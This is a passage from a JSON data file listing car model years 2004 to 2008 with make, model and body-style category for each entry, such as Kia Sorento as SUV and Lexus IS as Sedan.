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},
{
"Year": 2008,
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{
"Year": 2008,
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},
{
"Year": 2008,
"Make": "Ford",
"Model": "Taurus X",
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},
{
"Year": 2008,
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},
{
"Year": 2008,
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},
{
"Year": 2008,
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},
{
"Year": 2008,
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{
"Year": 2008,
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},
{
"Year": 2008,
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},
{
"Year": 2008,
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"Model": "Focus",
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},
{
"Year": 2008,
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},
{
"Year": 2008,
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"Category": "Pickup"
},
{
"Year": 2008,
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"Category": "Pickup"
},
{
"Year": 2008,
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{
"Year": 2008,
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},
{
"Year": 2008,
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},
{
"Year": 2008,
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{
"Year": 2008,
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},
{
"Year": 2008,
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},
{
"Year": 2008,
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{
"Year": 2008,
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{
"Year": 2008,
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{
"Year": 2008,
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{
"Year": 2008,
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{
"Year": 2008,
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{
"Year": 2008,
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{
"Year": 2008,
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},
{
"Year": 2008,
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{
"Year": 2008,
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{
"Year": 2008,
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{
"Year": 2008,
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{
"Year": 2008,
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{
"Year": 2008,
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{
"Year": 2008,
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},
{
"Year": 2008,
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"Category": "SUV"
},
{
"Year": 2008,
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"Category": "Hatchback"
},
{
"Year": 2008,
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"Category": "SUV"
},
{
"Year": 2008,
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{
"Year": 2008,
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},
{
"Year": 2008,
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},
{
"Year": 2008,
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},
{
"Year": 2008,
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},
{
"Year": 2008,
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},
{
"Year": 2008,
"Make": "INFINITI",
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"Category": "SUV"
},
{
"Year": 2008,
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"Category": "Pickup"
},
{
"Year": 2008,
"Make": "HUMMER",
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"Category": "SUV"
},
{
"Year": 2008,
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"Category": "SUV"
},
{
"Year": 2008,
"Make": "Hyundai",
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},
{
"Year": 2008,
"Make": "Hyundai",
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},
{
"Year": 2008,
"Make": "Honda",
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"Category": "SUV"
},
{
"Year": 2008,
"Make": "INFINITI",
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"Category": "SUV"
},
{
"Year": 2008,
"Make": "Honda",
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"Category": "Convertible"
},
{
"Year": 2008,
"Make": "Hyundai",
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"Category": "Van/Minivan"
},
{
"Year": 2008,
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"Category": "Pickup"
},
{
"Year": 2008,
"Make": "HUMMER",
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"Category": "SUV"
},
{
"Year": 2008,
"Make": "INFINITI",
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"Category": "Sedan"
},
{
"Year": 2008,
"Make": "Hyundai",
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},
{
"Year": 2008,
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},
{
"Year": 2008,
"Make": "Hyundai",
"Model": "Veracruz",
"Category": "SUV"
},
{
"Year": 2008,
"Make": "Honda",
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},
{
"Year": 2008,
"Make": "Hyundai",
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"Category": "SUV"
},
{
"Year": 2008,
"Make": "Isuzu",
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},
{
"Year": 2008,
"Make": "Jaguar",
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"Category": "Coupe, Convertible"
},
{
"Year": 2008,
"Make": "INFINITI",
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"Category": "SUV"
},
{
"Year": 2008,
"Make": "INFINITI",
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},
{
"Year": 2008,
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"Category": "Sedan"
},
{
"Year": 2008,
"Make": "Jeep",
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"Category": "SUV"
},
{
"Year": 2008,
"Make": "Land Rover",
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"Category": "SUV"
},
{
"Year": 2008,
"Make": "Jaguar",
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},
{
"Year": 2008,
"Make": "Jeep",
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"Category": "SUV"
},
{
"Year": 2008,
"Make": "Lamborghini",
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},
{
"Year": 2008,
"Make": "Jeep",
"Model": "Grand Cherokee",
"Category": "SUV"
},
{
"Year": 2008,
"Make": "Kia",
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"Category": "SUV"
},
{
"Year": 2008,
"Make": "Kia",
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"Category": "Sedan"
},
{
"Year": 2008,
"Make": "Jeep",
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"Category": "SUV"
},
{
"Year": 2008,
"Make": "Kia",
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"Category": "Wagon"
},
{
"Year": 2008,
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"Category": "SUV"
},
{
"Year": 2008,
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"Category": "SUV"
},
{
"Year": 2008,
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"Category": "SUV"
},
{
"Year": 2008,
"Make": "Kia",
"Model": "Sorento",
"Category": "SUV"
},
{
"Year": 2008,
"Make": "Lexus",
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"Category": "Sedan"
},
{
"Year": 2008,
"Make": "Land Rover",
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"Category": "SUV"
},
{
"Year": 2008,
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"Category": "Sedan, Wagon"
},
{
"Year": 2008,
"Make": "Isuzu",
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"Category": "Pickup"
},
{
"Year": 2008,
"Make": "Kia",
"Model": "Optima",
"Category": "Sedan"
},
{
"Year": 2008,
"Make": "Kia",
"Model": "Rio",
"Category": "Sedan, Hatchback"
},
{
"Year": 2008,
"Make": "Kia",
"Model": "Sedona",
"Category": "Van/Minivan"
},
{
"Year": 2008,
"Make": "Lamborghini",
"Model": "Gallardo",
"Category": "Convertible, Coupe"
},
{
"Year": 2008,
"Make": "Kia",
"Model": "Spectra",
"Category": "Sedan, Hatchback"
},
{
"Year": 2008,
"Make": "Lexus",
"Model": "SC",
"Category": "Convertible"
},
{
"Year": 2008,
"Make": "Lexus",
"Model": "IS",
"Category": "Sedan"
},
{
"Year": 2008,
"Make": "Lexus",
"Model": "GS",
"Category": "Sedan"
},
{
"Year": 2008,
"Make": "Lexus",
"Model": "LS",
"Category": "Sedan"
},
{
"Year": 2008,
"Make": "Lincoln",
"Model": "MKZ",
"Category": "Sedan"
},
{
"Year": 2008,
"Make": "Lincoln",
"Model": "MKX",
"Category": "SUV"
},
{
"Year": 2008,
"Make": "Lincoln",
"Model": "Navigator L",
"Category": "SUV"
},
{
"Year": 2008,
"Make": "Lexus",
"Model": "GX",
"Category": "SUV"
},
{
"Year": 2008,
"Make": "Land Rover",
"Model": "LR3",
"Category": "SUV"
},
{
"Year": 2008,
"Make": "Maserati",
"Model": "Quattroporte",
"Category": "Sedan"
},
{
"Year": 2008,
"Make": "Lotus",
"Model": "Elise",
"Category": "Coupe"
},
{
"Year": 2008,
"Make": "Land Rover",
"Model": "Range Rover Sport",
"Category": "SUV"
},
{
"Year": 2008,
"Make": "Lexus",
"Model": "LX",
"Category": "SUV"
},
{
"Year": 2008,
"Make": "Lexus",
"Model": "IS F",
"Category": "Sedan"
},
{
"Year": 2008,
"Make": "MAZDA",
"Model": "MX-5 Miata",
"Category": "Convertible"
},
{
"Year": 2008,
"Make": "Lincoln",
"Model": "Town Car",
"Category": "Sedan"
},
{
"Year": 2008,
"Make": "MAZDA",
"Model": "Tribute",
"Category": "SUV"
},
{
"Year": 2008,
"Make": "MAZDA",
"Model": "MAZDA3",
"Category": "Sedan, Hatchback"
},
{
"Year": 2008,
"Make": "MAZDA",
"Model": "CX-9",
"Category": "SUV"
},
{
"Year": 2008,
"Make": "MAZDA",
"Model": "B-Series Regular Cab",
"Category": "Pickup"
},
{
"Year": 2008,
"Make": "Maserati",
"Model": "GranTurismo",
"Category": "Coupe"
},
{
"Year": 2008,
"Make": "Lotus",
"Model": "Exige S",
"Category": "Coupe"
},
{
"Year": 2008,
"Make": "MAZDA",
"Model": "MAZDA5",
"Category": "Van/Minivan"
},
{
"Year": 2008,
"Make": "Maybach",
"Model": "57",
"Category": "Sedan"
},
{
"Year": 2008,
"Make": "Maybach",
"Model": "62",
"Category": "Sedan"
},
{
"Year": 2008,
"Make": "Mercedes-Benz",
"Model": "CLK-Class",
"Category": "Convertible, Coupe"
},
{
"Year": 2008,
"Make": "MAZDA",
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"Category": "Pickup"
},
{
"Year": 2008,
"Make": "Mercedes-Benz",
"Model": "C-Class",
"Category": "Sedan"
},
{
"Year": 2008,
"Make": "Lincoln",
"Model": "Mark LT",
"Category": "Pickup"
},
{
"Year": 2008,
"Make": "Lexus",
"Model": "RX",
"Category": "SUV"
},
{
"Year": 2008,
"Make": "MAZDA",
"Model": "MAZDA6",
"Category": "Sedan, Hatchback"
},
{
"Year": 2008,
"Make": "MAZDA",
"Model": "RX-8",
"Category": "Coupe"
},
{
"Year": 2008,
"Make": "Mercedes-Benz",
"Model": "CL-Class",
"Category": "Coupe"
},
{
"Year": 2008,
"Make": "MAZDA",
"Model": "CX-7",
"Category": "SUV"
},
{
"Year": 2008,
"Make": "Lincoln",
"Model": "Navigator",
"Category": "SUV"
},
{
"Year": 2008,
"Make": "Mercedes-Benz",
"Model": "CLS-Class",
"Category": "Coupe"
},
{
"Year": 2008,
"Make": "Mercedes-Benz",
"Model": "R-Class",
"Category": "Wagon"
},
{
"Year": 2008,
"Make": "Mercury",
"Model": "Mariner",
"Category": "SUV"
},
{
"Year": 2008,
"Make": "Mercury",
"Model": "Grand Marquis",
"Category": "Sedan"
},
{
"Year": 2008,
"Make": "Mercedes-Benz",
"Model": "M-Class",
"Category": "SUV"
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{
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},
{
"Year": 2007,
"Make": "Chevrolet",
"Model": "Tahoe",
"Category": "SUV"
},
{
"Year": 2007,
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{
"Year": 2007,
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},
{
"Year": 2007,
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},
{
"Year": 2007,
"Make": "Chevrolet",
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},
{
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{
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{
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},
{
"Year": 2007,
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{
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{
"Year": 2007,
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{
"Year": 2007,
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{
"Year": 2007,
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{
"Year": 2007,
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{
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{
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{
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{
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{
"Year": 2007,
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{
"Year": 2007,
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{
"Year": 2007,
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{
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{
"Year": 2007,
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{
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{
"Year": 2007,
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{
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{
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{
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{
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{
"Year": 2007,
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{
"Year": 2007,
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{
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{
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{
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{
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{
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{
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{
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{
"Year": 2007,
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{
"Year": 2007,
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{
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{
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{
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{
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{
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{
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{
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{
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{
"Year": 2007,
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{
"Year": 2007,
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{
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{
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{
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{
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{
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{
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{
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{
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{
"Year": 2007,
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
"Year": 2007,
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{
"Year": 2007,
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{
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{
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{
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{
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{
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{
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{
"Year": 2007,
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{
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{
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{
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{
"Year": 2007,
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{
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{
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{
"Year": 2007,
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{
"Year": 2007,
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{
"Year": 2007,
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{
"Year": 2007,
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{
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{
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{
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{
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{
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{
"Year": 2007,
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{
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{
"Year": 2007,
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{
"Year": 2007,
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{
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{
"Year": 2007,
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{
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{
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{
"Year": 2007,
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{
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{
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{
"Year": 2007,
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{
"Year": 2007,
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{
"Year": 2007,
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{
"Year": 2007,
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{
"Year": 2007,
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{
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{
"Year": 2007,
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{
"Year": 2007,
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{
"Year": 2007,
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{
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{
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{
"Year": 2007,
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{
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{
"Year": 2007,
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{
"Year": 2007,
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{
"Year": 2007,
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{
"Year": 2007,
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{
"Year": 2007,
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{
"Year": 2007,
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{
"Year": 2007,
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{
"Year": 2007,
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{
"Year": 2007,
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{
"Year": 2007,
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{
"Year": 2007,
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{
"Year": 2007,
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{
"Year": 2007,
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},
{
"Year": 2007,
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{
"Year": 2007,
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},
{
"Year": 2007,
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{
"Year": 2007,
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},
{
"Year": 2007,
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{
"Year": 2007,
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{
"Year": 2007,
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{
"Year": 2007,
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{
"Year": 2007,
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{
"Year": 2007,
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{
"Year": 2007,
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{
"Year": 2007,
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{
"Year": 2007,
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{
"Year": 2007,
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{
"Year": 2007,
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{
"Year": 2007,
"Make": "Maybach",
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{
"Year": 2007,
"Make": "Lincoln",
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{
"Year": 2007,
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{
"Year": 2007,
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},
{
"Year": 2007,
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{
"Year": 2007,
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{
"Year": 2007,
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{
"Year": 2007,
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{
"Year": 2007,
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},
{
"Year": 2007,
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},
{
"Year": 2007,
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{
"Year": 2007,
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},
{
"Year": 2007,
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"Model": "MX-5 Miata",
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},
{
"Year": 2007,
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},
{
"Year": 2007,
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{
"Year": 2007,
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{
"Year": 2007,
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},
{
"Year": 2007,
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},
{
"Year": 2007,
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{
"Year": 2007,
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{
"Year": 2007,
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},
{
"Year": 2007,
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},
{
"Year": 2007,
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},
{
"Year": 2007,
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{
"Year": 2007,
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},
{
"Year": 2007,
"Make": "Maserati",
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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"Year": 2006,
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"Year": 2006,
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{
"Year": 2006,
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{
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"Year": 2006,
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{
"Year": 2006,
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{
"Year": 2006,
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"Year": 2006,
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{
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{
"Year": 2006,
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{
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{
"Year": 2006,
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{
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{
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{
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{
"Year": 2006,
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{
"Year": 2006,
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{
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{
"Year": 2006,
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{
"Year": 2006,
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{
"Year": 2006,
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{
"Year": 2006,
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
"Year": 2005,
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{
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"Year": 2005,
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"Year": 2005,
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{
"Year": 2005,
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{
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{
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{
"Year": 2005,
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{
"Year": 2005,
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{
"Year": 2005,
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{
"Year": 2005,
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{
"Year": 2005,
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{
"Year": 2005,
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{
"Year": 2005,
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{
"Year": 2005,
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{
"Year": 2005,
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{
"Year": 2005,
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{
"Year": 2005,
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{
"Year": 2005,
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{
"Year": 2005,
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{
"Year": 2005,
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{
"Year": 2005,
"Make": "Porsche",
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"Year": 2005,
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{
"Year": 2005,
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{
"Year": 2005,
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{
"Year": 2005,
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{
"Year": 2005,
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{
"Year": 2005,
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{
"Year": 2005,
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{
"Year": 2005,
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{
"Year": 2005,
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{
"Year": 2005,
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{
"Year": 2005,
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{
"Year": 2005,
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{
"Year": 2004,
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{
"Year": 2005,
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{
"Year": 2004,
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{
"Year": 2004,
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{
"Year": 2005,
"Make": "Suzuki",
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{
"Year": 2005,
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{
"Year": 2004,
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{
"Year": 2005,
"Make": "Toyota",
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{
"Year": 2005,
"Make": "Suzuki",
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{
"Year": 2005,
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{
"Year": 2005,
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{
"Year": 2005,
"Make": "Suzuki",
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"Category": "SUV"
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{
"Year": 2005,
"Make": "Subaru",
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{
"Year": 2004,
"Make": "BMW",
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{
"Year": 2005,
"Make": "Toyota",
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
"Year": 2005,
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
"Year": 2004,
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{
"Year": 2004,
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{
"Year": 2004,
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
"Year": 2004,
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{
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{
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{
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{
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{
"Year": 2004,
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
"Year": 2004,
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
"Year": 2004,
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{
"Year": 2004,
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{
"Year": 2004,
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{
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{
"Year": 2004,
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{
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{
"Year": 2004,
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{
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{
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{
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{
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{
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{
"Year": 2004,
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{
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{
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{
"Year": 2004,
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{
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{
"Year": 2004,
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{
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{
"Year": 2004,
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{
"Year": 2004,
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{
"Year": 2004,
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{
"Year": 2004,
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{
"Year": 2004,
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{
"Year": 2004,
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{
"Year": 2004,
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{
"Year": 2004,
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{
"Year": 2004,
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{
"Year": 2004,
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{
"Year": 2004,
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{
"Year": 2004,
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{
"Year": 2004,
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"Year": 2004,
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{
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{
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{
"Year": 2004,
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{
"Year": 2004,
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},
{
"Year": 2004,
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"Year": 2004,
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{
"Year": 2004,
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{
"Year": 2004,
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{
"Year": 2004,
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{
"Year": 2004,
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{
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{
"Year": 2004,
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},
{
"Year": 2004,
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{
"Year": 2004,
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{
"Year": 2004,
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{
"Year": 2004,
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},
{
"Year": 2004,
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{
"Year": 2004,
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{
"Year": 2004,
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"Category": "Pickup"
},
{
"Year": 2004,
"Make": "GMC",
"Model": "Yukon XL 2500",
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},
{
"Year": 2004,
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},
{
"Year": 2004,
"Make": "GMC",
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},
{
"Year": 2004,
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},
{
"Year": 2004,
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},
{
"Year": 2004,
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},
{
"Year": 2004,
"Make": "GMC",
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},
{
"Year": 2004,
"Make": "Honda",
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"Category": "Sedan, Coupe"
},
{
"Year": 2004,
"Make": "GMC",
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"Category": "Van/Minivan"
},
{
"Year": 2004,
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},
{
"Year": 2004,
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"Category": "Pickup"
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{
"Year": 2004,
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{
"Year": 2004,
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{
"Year": 2004,
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{
"Year": 2004,
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},
{
"Year": 2004,
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},
{
"Year": 2004,
"Make": "Hyundai",
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},
{
"Year": 2004,
"Make": "GMC",
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"Category": "SUV"
},
{
"Year": 2004,
"Make": "Honda",
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"Category": "Hatchback"
},
{
"Year": 2004,
"Make": "INFINITI",
"Model": "FX",
"Category": "SUV"
},
{
"Year": 2004,
"Make": "Honda",
"Model": "Element",
"Category": "SUV"
},
{
"Year": 2004,
"Make": "INFINITI",
"Model": "Q",
"Category": "Sedan"
},
{
"Year": 2004,
"Make": "Honda",
"Model": "CR-V",
"Category": "SUV"
},
{
"Year": 2004,
"Make": "Hyundai",
"Model": "Accent",
"Category": "Hatchback, Sedan"
},
{
"Year": 2004,
"Make": "Jaguar",
"Model": "XJ",
"Category": "Sedan"
},
{
"Year": 2004,
"Make": "Honda",
"Model": "Odyssey",
"Category": "Van/Minivan"
},
{
"Year": 2004,
"Make": "HUMMER",
"Model": "H2",
"Category": "SUV"
},
{
"Year": 2004,
"Make": "INFINITI",
"Model": "M",
"Category": "Sedan"
},
{
"Year": 2004,
"Make": "Honda",
"Model": "Pilot",
"Category": "SUV"
},
{
"Year": 2004,
"Make": "Honda",
"Model": "S2000",
"Category": "Convertible"
},
{
"Year": 2004,
"Make": "INFINITI",
"Model": "QX",
"Category": "SUV"
},
{
"Year": 2004,
"Make": "Hyundai",
"Model": "Elantra",
"Category": "Sedan, Hatchback"
},
{
"Year": 2004,
"Make": "Hyundai",
"Model": "Tiburon",
"Category": "Coupe"
},
{
"Year": 2004,
"Make": "INFINITI",
"Model": "G",
"Category": "Coupe, Sedan"
},
{
"Year": 2004,
"Make": "Hyundai",
"Model": "XG350",
"Category": "Sedan"
},
{
"Year": 2004,
"Make": "Hyundai",
"Model": "Santa Fe",
"Category": "SUV"
},
{
"Year": 2004,
"Make": "HUMMER",
"Model": "H1",
"Category": "Wagon, SUV"
},
{
"Year": 2004,
"Make": "Jaguar",
"Model": "S-Type",
"Category": "Sedan"
},
{
"Year": 2004,
"Make": "Kia",
"Model": "Rio",
"Category": "Wagon, Sedan"
},
{
"Year": 2004,
"Make": "Land Rover",
"Model": "Discovery",
"Category": "SUV"
},
{
"Year": 2004,
"Make": "Kia",
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"Category": "Sedan, Hatchback"
},
{
"Year": 2004,
"Make": "Kia",
"Model": "Optima",
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},
{
"Year": 2004,
"Make": "Jaguar",
"Model": "XK",
"Category": "Coupe, Convertible"
},
{
"Year": 2004,
"Make": "Jaguar",
"Model": "X-Type",
"Category": "Sedan"
},
{
"Year": 2004,
"Make": "Jeep",
"Model": "Wrangler",
"Category": "SUV"
},
{
"Year": 2004,
"Make": "Lincoln",
"Model": "Aviator",
"Category": "SUV"
},
{
"Year": 2004,
"Make": "Land Rover",
"Model": "Range Rover",
"Category": "SUV"
},
{
"Year": 2004,
"Make": "Kia",
"Model": "Amanti",
"Category": "Sedan"
},
{
"Year": 2004,
"Make": "Mercedes-Benz",
"Model": "E-Class",
"Category": "Sedan, Wagon"
},
{
"Year": 2004,
"Make": "Isuzu",
"Model": "Axiom",
"Category": "SUV"
},
{
"Year": 2004,
"Make": "Isuzu",
"Model": "Rodeo",
"Category": "SUV"
},
{
"Year": 2004,
"Make": "Kia",
"Model": "Sorento",
"Category": "SUV"
},
{
"Year": 2004,
"Make": "Isuzu",
"Model": "Ascender",
"Category": "SUV"
},
{
"Year": 2004,
"Make": "Kia",
"Model": "Sedona",
"Category": "Van/Minivan"
},
{
"Year": 2004,
"Make": "MAZDA",
"Model": "MAZDA6",
"Category": "Sedan, Wagon, Hatchback"
},
{
"Year": 2004,
"Make": "Lincoln",
"Model": "LS",
"Category": "Sedan"
},
{
"Year": 2004,
"Make": "Lexus",
"Model": "LX",
"Category": "SUV"
},
{
"Year": 2004,
"Make": "Jeep",
"Model": "Grand Cherokee",
"Category": "SUV"
},
{
"Year": 2004,
"Make": "MAZDA",
"Model": "B-Series Regular Cab",
"Category": "Pickup"
},
{
"Year": 2004,
"Make": "INFINITI",
"Model": "I",
"Category": "Sedan"
},
{
"Year": 2004,
"Make": "Mercedes-Benz",
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"Category": "Sedan, Coupe, Wagon"
},
{
"Year": 2004,
"Make": "Mercedes-Benz",
"Model": "CLK-Class",
"Category": "Coupe, Convertible"
},
{
"Year": 2004,
"Make": "Mercedes-Benz",
"Model": "CL-Class",
"Category": "Coupe"
},
{
"Year": 2004,
"Make": "Lexus",
"Model": "IS",
"Category": "Sedan, Hatchback"
},
{
"Year": 2004,
"Make": "Land Rover",
"Model": "Freelander",
"Category": "SUV"
},
{
"Year": 2004,
"Make": "Lexus",
"Model": "GX",
"Category": "SUV"
},
{
"Year": 2004,
"Make": "Jeep",
"Model": "Liberty",
"Category": "SUV"
},
{
"Year": 2004,
"Make": "MAZDA",
"Model": "RX-8",
"Category": "Coupe"
},
{
"Year": 2004,
"Make": "Lexus",
"Model": "ES",
"Category": "Sedan"
},
{
"Year": 2004,
"Make": "Lexus",
"Model": "SC",
"Category": "Convertible"
},
{
"Year": 2004,
"Make": "Lexus",
"Model": "GS",
"Category": "Sedan"
},
{
"Year": 2004,
"Make": "Lincoln",
"Model": "Town Car",
"Category": "Sedan"
},
{
"Year": 2004,
"Make": "Lexus",
"Model": "LS",
"Category": "Sedan"
},
{
"Year": 2004,
"Make": "MAZDA",
"Model": "MAZDA3",
"Category": "Sedan, Hatchback"
},
{
"Year": 2004,
"Make": "MAZDA",
"Model": "Tribute",
"Category": "SUV"
},
{
"Year": 2004,
"Make": "Lexus",
"Model": "RX",
"Category": "SUV"
},
{
"Year": 2004,
"Make": "MAZDA",
"Model": "B-Series Cab Plus",
"Category": "Pickup"
},
{
"Year": 2004,
"Make": "Lincoln",
"Model": "Navigator",
"Category": "SUV"
},
{
"Year": 2004,
"Make": "Mercedes-Benz",
"Model": "G-Class",
"Category": "SUV"
},
{
"Year": 2004,
"Make": "MAZDA",
"Model": "MPV",
"Category": "Van/Minivan"
},
{
"Year": 2004,
"Make": "MAZDA",
"Model": "MX-5 Miata",
"Category": "Convertible"
},
{
"Year": 2004,
"Make": "Mercedes-Benz",
"Model": "M-Class",
"Category": "SUV"
},
{
"Year": 2004,
"Make": "Mercury",
"Model": "Grand Marquis",
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},
{
"Year": 2004,
"Make": "Mitsubishi",
"Model": "Galant",
"Category": "Sedan"
},
{
"Year": 2004,
"Make": "Mercedes-Benz",
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"Category": "Sedan"
},
{
"Year": 2004,
"Make": "Mitsubishi",
"Model": "Outlander",
"Category": "SUV"
},
{
"Year": 2004,
"Make": "Nissan",
"Model": "350Z",
"Category": "Coupe, Convertible"
},
{
"Year": 2004,
"Make": "Mercury",
"Model": "Mountaineer",
"Category": "SUV"
},
{
"Year": 2004,
"Make": "Mercury",
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},
{
"Year": 2004,
"Make": "Mitsubishi",
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"Category": "SUV"
},
{
"Year": 2004,
"Make": "Mitsubishi",
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"Category": "Sedan"
},
{
"Year": 2004,
"Make": "Mitsubishi",
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"Category": "SUV"
},
{
"Year": 2004,
"Make": "Mercedes-Benz",
"Model": "SL-Class",
"Category": "Convertible"
},
{
"Year": 2004,
"Make": "Mitsubishi",
"Model": "Lancer",
"Category": "Sedan, Wagon"
},
{
"Year": 2004,
"Make": "Mercedes-Benz",
"Model": "SLK-Class",
"Category": "Convertible"
},
{
"Year": 2004,
"Make": "Mitsubishi",
"Model": "Montero Sport",
"Category": "SUV"
},
{
"Year": 2004,
"Make": "Nissan",
"Model": "Frontier Crew Cab",
"Category": "Pickup"
},
{
"Year": 2004,
"Make": "Mercury",
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},
{
"Year": 2004,
"Make": "MINI",
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},
{
"Year": 2004,
"Make": "Nissan",
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{
"Year": 2004,
"Make": "Mercury",
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},
{
"Year": 2004,
"Make": "Mitsubishi",
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},
{
"Year": 2004,
"Make": "Nissan",
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},
{
"Year": 2004,
"Make": "Nissan",
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"Category": "SUV"
},
{
"Year": 2004,
"Make": "Nissan",
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{
"Year": 2004,
"Make": "Nissan",
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},
{
"Year": 2004,
"Make": "Nissan",
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},
{
"Year": 2004,
"Make": "Nissan",
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},
{
"Year": 2004,
"Make": "Oldsmobile",
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"Category": "SUV"
},
{
"Year": 2004,
"Make": "Oldsmobile",
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},
{
"Year": 2004,
"Make": "Nissan",
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},
{
"Year": 2004,
"Make": "Pontiac",
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"Category": "SUV"
},
{
"Year": 2004,
"Make": "Nissan",
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"Category": "Pickup"
},
{
"Year": 2004,
"Make": "Nissan",
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"Category": "SUV"
},
{
"Year": 2004,
"Make": "Nissan",
"Model": "Pathfinder Armada",
"Category": "SUV"
},
{
"Year": 2004,
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},
{
"Year": 2004,
"Make": "Oldsmobile",
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},
{
"Year": 2004,
"Make": "Porsche",
"Model": "Cayenne",
"Category": "SUV"
},
{
"Year": 2004,
"Make": "Pontiac",
"Model": "Vibe",
"Category": "Wagon"
},
{
"Year": 2004,
"Make": "Pontiac",
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},
{
"Year": 2004,
"Make": "Pontiac",
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},
{
"Year": 2004,
"Make": "Porsche",
"Model": "Carrera GT",
"Category": "Convertible"
},
{
"Year": 2004,
"Make": "Pontiac",
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},
{
"Year": 2004,
"Make": "Pontiac",
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},
{
"Year": 2004,
"Make": "Pontiac",
"Model": "GTO",
"Category": "Coupe"
},
{
"Year": 2004,
"Make": "Porsche",
"Model": "911",
"Category": "Convertible, Coupe"
},
{
"Year": 2004,
"Make": "Subaru",
"Model": "Legacy",
"Category": "Sedan, Wagon"
},
{
"Year": 2004,
"Make": "Suzuki",
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"Category": "Sedan"
},
{
"Year": 2004,
"Make": "Saturn",
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"Category": "SUV"
},
{
"Year": 2004,
"Make": "Saturn",
"Model": "Ion",
"Category": "Sedan, Coupe"
},
{
"Year": 2004,
"Make": "Subaru",
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"Category": "Sedan, Wagon"
},
{
"Year": 2004,
"Make": "Subaru",
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},
{
"Year": 2004,
"Make": "Subaru",
"Model": "Baja",
"Category": "Pickup"
},
{
"Year": 2004,
"Make": "Toyota",
"Model": "Corolla",
"Category": "Sedan"
},
{
"Year": 2004,
"Make": "Suzuki",
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"Category": "Sedan, Wagon"
},
{
"Year": 2004,
"Make": "Saturn",
"Model": "L-Series",
"Category": "Sedan, Wagon"
},
{
"Year": 2004,
"Make": "Subaru",
"Model": "Forester",
"Category": "SUV"
},
{
"Year": 2004,
"Make": "Porsche",
"Model": "Boxster",
"Category": "Convertible"
},
{
"Year": 2004,
"Make": "Toyota",
"Model": "Land Cruiser",
"Category": "SUV"
},
{
"Year": 2004,
"Make": "Suzuki",
"Model": "Vitara",
"Category": "SUV"
},
{
"Year": 2004,
"Make": "Toyota",
"Model": "Prius",
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},
{
"Year": 2004,
"Make": "Saab",
"Model": "3-Sep",
"Category": "Sedan, Convertible"
},
{
"Year": 2004,
"Make": "Toyota",
"Model": "Highlander",
"Category": "SUV"
},
{
"Year": 2004,
"Make": "Toyota",
"Model": "4Runner",
"Category": "SUV"
},
{
"Year": 2004,
"Make": "Suzuki",
"Model": "Verona",
"Category": "Sedan"
},
{
"Year": 2004,
"Make": "Suzuki",
"Model": "Grand Vitara",
"Category": "SUV"
},
{
"Year": 2004,
"Make": "Saab",
"Model": "5-Sep",
"Category": "Wagon, Sedan"
},
{
"Year": 2004,
"Make": "Toyota",
"Model": "Avalon",
"Category": "Sedan"
},
{
"Year": 2004,
"Make": "Scion",
"Model": "xB",
"Category": "Hatchback"
},
{
"Year": 2004,
"Make": "Toyota",
"Model": "Camry",
"Category": "Sedan"
},
{
"Year": 2004,
"Make": "Toyota",
"Model": "MR2",
"Category": "Convertible"
},
{
"Year": 2004,
"Make": "Toyota",
"Model": "Tundra Regular Cab",
"Category": "Pickup"
},
{
"Year": 2004,
"Make": "Toyota",
"Model": "Echo",
"Category": "Sedan"
},
{
"Year": 2004,
"Make": "Toyota",
"Model": "RAV4",
"Category": "SUV"
},
{
"Year": 2004,
"Make": "Toyota",
"Model": "Tacoma Regular Cab",
"Category": "Pickup"
},
{
"Year": 2004,
"Make": "Toyota",
"Model": "Tacoma Double Cab",
"Category": "Pickup"
},
{
"Year": 2004,
"Make": "Toyota",
"Model": "Matrix",
"Category": "Hatchback, Wagon"
},
{
"Year": 2004,
"Make": "Scion",
"Model": "xA",
"Category": "Hatchback"
},
{
"Year": 2004,
"Make": "Suzuki",
"Model": "XL-7",
"Category": "SUV"
},
{
"Year": 2004,
"Make": "Toyota",
"Model": "Solara",
"Category": "Coupe, Convertible"
},
{
"Year": 2004,
"Make": "Toyota",
"Model": "Celica",
"Category": "Hatchback"
},
{
"Year": 2004,
"Make": "Volvo",
"Model": "C70",
"Category": "Convertible"
},
{
"Year": 2004,
"Make": "Volkswagen",
"Model": "New Beetle",
"Category": "Hatchback, Convertible"
},
{
"Year": 2004,
"Make": "Toyota",
"Model": "Tundra Access Cab",
"Category": "Pickup"
},
{
"Year": 2004,
"Make": "Toyota",
"Model": "Sienna",
"Category": "Van/Minivan"
},
{
"Year": 2004,
"Make": "Volkswagen",
"Model": "Phaeton",
"Category": "Sedan"
},
{
"Year": 2004,
"Make": "Volkswagen",
"Model": "Passat",
"Category": "Sedan, Wagon"
},
{
"Year": 2004,
"Make": "Volkswagen",
"Model": "Golf",
"Category": "Hatchback"
},
{
"Year": 2004,
"Make": "Volkswagen",
"Model": "Jetta",
"Category": "Wagon, Sedan"
},
{
"Year": 2004,
"Make": "Volvo",
"Model": "S40 (New)",
"Category": "Sedan"
},
{
"Year": 2004,
"Make": "Toyota",
"Model": "Sequoia",
"Category": "SUV"
},
{
"Year": 2004,
"Make": "Toyota",
"Model": "Tundra Double Cab",
"Category": "Pickup"
},
{
"Year": 2004,
"Make": "Toyota",
"Model": "Tacoma Xtracab",
"Category": "Pickup"
},
{
"Year": 2004,
"Make": "Volvo",
"Model": "S40",
"Category": "Sedan"
},
{
"Year": 2004,
"Make": "Volvo",
